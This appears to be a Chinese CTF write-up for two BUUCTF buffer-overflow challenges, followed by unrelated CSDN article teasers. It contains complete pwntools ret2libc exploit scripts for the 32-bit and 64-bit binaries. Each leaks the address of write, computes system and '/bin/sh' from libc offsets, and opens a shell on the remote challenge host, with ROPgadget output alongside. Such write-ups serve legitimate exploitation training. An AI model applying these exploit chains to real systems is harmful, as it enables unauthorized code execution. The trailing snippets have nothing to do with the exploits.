程序代码简单,存在溢出条件。shift+f12没有后门地址。开启了NX保护。l所以用ibc泄露system函数。
exp :
from pwn import *
#r = process("./pwn")
r = remote("node3.buuoj.cn",29451)
e = ELF("./pwn")
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
offset = 0x88 + 4
payload = offset*'a' + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
#r.recvuntil()
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))
write_offset = 0x000D43C0
system_offset = 0x0003A940
binsh_offset = 0x0015902b
base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
payload = offset*'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
#r.recvuntil()
r.sendline(payload)
r.interactive()
exp分析 :
write_offset = 0x000D43C0
system_offset = 0x0003A940
binsh_offset = 0x0015902b
这里的write函数偏移地址和system偏移地址可以在buuctf里面给出的lib文件找。而binsh参数需要在linux里面利用libc版本找了,具体操作:
muggle@muggle-virtual-machine:~/CTF-Pwn/other$ ROPgadget --binary libc-2.23.so --string "/bin/sh"
Strings information
============================================================
0x0015902b : /bin/sh
程序分析:64位程序,开启了NX保护,然后打开 IDA, 查看一下源代码
程序源代码简单,存在read溢出条件。查找字符串没有发现后门地址,开启了NX保护,利用libc泄露system函数地址
exp :
from pwn import *
#r = process("./pwn")
r = remote("node3.buuoj.cn",28636)
e = ELF("./pwn")
context(log_level= 'debug')
write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
rdi_addr_ret = 0x004006b3
rsi_addr_ret = 0x04006b1
offset = 0x80 + 8
payload1 = offset*'a' + p64(rdi_addr_ret) + p64(1) + p64(rsi_addr_ret) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
r.recvuntil("Input:\n")
r.sendline(payload1)
write_addr = u64(r.recv(8))
print(hex(write_addr))
write_offset = 0x00F72B0
system_offset = 0x045390
binsh_offset = 0x018CD57
base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
payload2 = offset*'a' + p64(rdi_addr_ret) + p64(binsh_addr) + p64(system_addr)
r.sendline(payload2)
r.interactive()
exp分析 :
payload1 = offset*‘a’ + p64(rdi_addr_ret) + p64(1) + p64(rsi_addr_ret) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
64位和32位的传参不同,64位有6个参数,它会先进行传参,传参时需要先找到位置。像这道题是利用write函数泄露write函数真正的地址。write函数有三个参数,所以先传三个参数,找地址的方式为
muggle@muggle-virtual-machine:~/CTF-Pwn/other$ ROPgadget --binary ./pwn --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
第一个参数存放在rdi中,存放内容为1,第二个参数存放在rsi中,内容为write函数的真正地址,至于第三个参数地址是可以不需要的,因为write函数第三个是存放的是输出大小,管他随机是多少。接下来就是返回地址·,然后是预留返回地址。
文章浏览阅读290次,点赞8次,收藏10次。1.背景介绍稀疏编码是一种用于处理稀疏数据的编码技术,其主要应用于信息传输、存储和处理等领域。稀疏数据是指数据中大部分元素为零或近似于零的数据,例如文本、图像、音频、视频等。稀疏编码的核心思想是将稀疏数据表示为非零元素和它们对应的位置信息,从而减少存储空间和计算复杂度。稀疏编码的研究起源于1990年代,随着大数据时代的到来,稀疏编码技术的应用范围和影响力不断扩大。目前,稀疏编码已经成为计算...
文章浏览阅读217次。EasyGBS - GB28181 国标方案安装使用文档下载安装包下载,正式使用需商业授权, 功能一致在线演示在线API架构图EasySIPCMSSIP 中心信令服务, 单节点, 自带一个 Redis Server, 随 EasySIPCMS 自启动, 不需要手动运行EasySIPSMSSIP 流媒体服务, 根..._easygbs-windows-2.6.0-23042316使用文档
文章浏览阅读1.2k次,点赞27次,收藏7次。2023巅峰极客 BabyURL之前AliyunCTF Bypassit I这题考查了这样一条链子:其实就是Jackson的原生反序列化利用今天复现的这题也是大同小异,一起来整一下。_原生jackson 反序列化链子
文章浏览阅读734次,点赞9次,收藏7次。微服务架构简单的说就是将单体应用进一步拆分,拆分成更小的服务,每个服务都是一个可以独立运行的项目。这么多小服务,如何管理他们?(服务治理 注册中心[服务注册 发现 剔除])这么多小服务,他们之间如何通讯?这么多小服务,客户端怎么访问他们?(网关)这么多小服务,一旦出现问题了,应该如何自处理?(容错)这么多小服务,一旦出现问题了,应该如何排错?(链路追踪)对于上面的问题,是任何一个微服务设计者都不能绕过去的,因此大部分的微服务产品都针对每一个问题提供了相应的组件来解决它们。_spring cloud
文章浏览阅读5.9k次,点赞6次,收藏20次。Js实现图片点击切换与轮播图片点击切换<!DOCTYPE html><html> <head> <meta charset="UTF-8"> <title></title> <script type="text/ja..._点击图片进行轮播图切换
文章浏览阅读10w+次,点赞245次,收藏1.5k次。在开始安装前,如果你的电脑装过tensorflow,请先把他们卸载干净,包括依赖的包(tensorflow-estimator、tensorboard、tensorflow、keras-applications、keras-preprocessing),不然后续安装了tensorflow-gpu可能会出现找不到cuda的问题。cuda、cudnn。..._tensorflow gpu版本安装
文章浏览阅读243次。0x00 简介权限滥用漏洞一般归类于逻辑问题,是指服务端功能开放过多或权限限制不严格,导致攻击者可以通过直接或间接调用的方式达到攻击效果。随着物联网时代的到来,这种漏洞已经屡见不鲜,各种漏洞组合利用也是千奇百怪、五花八门,这里总结漏洞是为了更好地应对和预防,如有不妥之处还请业内人士多多指教。0x01 背景2014年4月,在比特币飞涨的时代某网站曾经..._使用物联网漏洞的使用者
文章浏览阅读786次。A. Epipolar geometry and triangulationThe epipolar geometry mainly adopts the feature point method, such as SIFT, SURF and ORB, etc. to obtain the feature points corresponding to two frames of images. As shown in Figure 1, let the first image be and th_normalized plane coordinates
文章浏览阅读708次,点赞2次,收藏3次。开放信息抽取(OIE)系统(三)-- 第二代开放信息抽取系统(人工规则, rule-based, 先关系再实体)一.第二代开放信息抽取系统背景 第一代开放信息抽取系统(Open Information Extraction, OIE, learning-based, 自学习, 先抽取实体)通常抽取大量冗余信息,为了消除这些冗余信息,诞生了第二代开放信息抽取系统。二.第二代开放信息抽取系统历史第二代开放信息抽取系统着眼于解决第一代系统的三大问题: 大量非信息性提取(即省略关键信息的提取)、_语义角色增强的关系抽取
文章浏览阅读1.1w次,点赞6次,收藏51次。快速完成网页设计,10个顶尖响应式HTML5网页模板助你一臂之力为了寻找一个优质的网页模板,网页设计师和开发者往往可能会花上大半天的时间。不过幸运的是,现在的网页设计师和开发人员已经开始共享HTML5,Bootstrap和CSS3中的免费网页模板资源。鉴于网站模板的灵活性和强大的功能,现在广大设计师和开发者对html5网站的实际需求日益增长。为了造福大众,Mockplus的小伙伴整理了2018年最..._html欢迎页面
文章浏览阅读282次。原标题:2018全国计算机等级考试调整,一、二级都增加了考试科目全国计算机等级考试将于9月15-17日举行。在备考的最后冲刺阶段,小编为大家整理了今年新公布的全国计算机等级考试调整方案,希望对备考的小伙伴有所帮助,快随小编往下看吧!从2018年3月开始,全国计算机等级考试实施2018版考试大纲,并按新体系开考各个考试级别。具体调整内容如下:一、考试级别及科目1.一级新增“网络安全素质教育”科目(代..._计算机二级增报科目什么意思
文章浏览阅读240次。conan简单使用。_apt install conan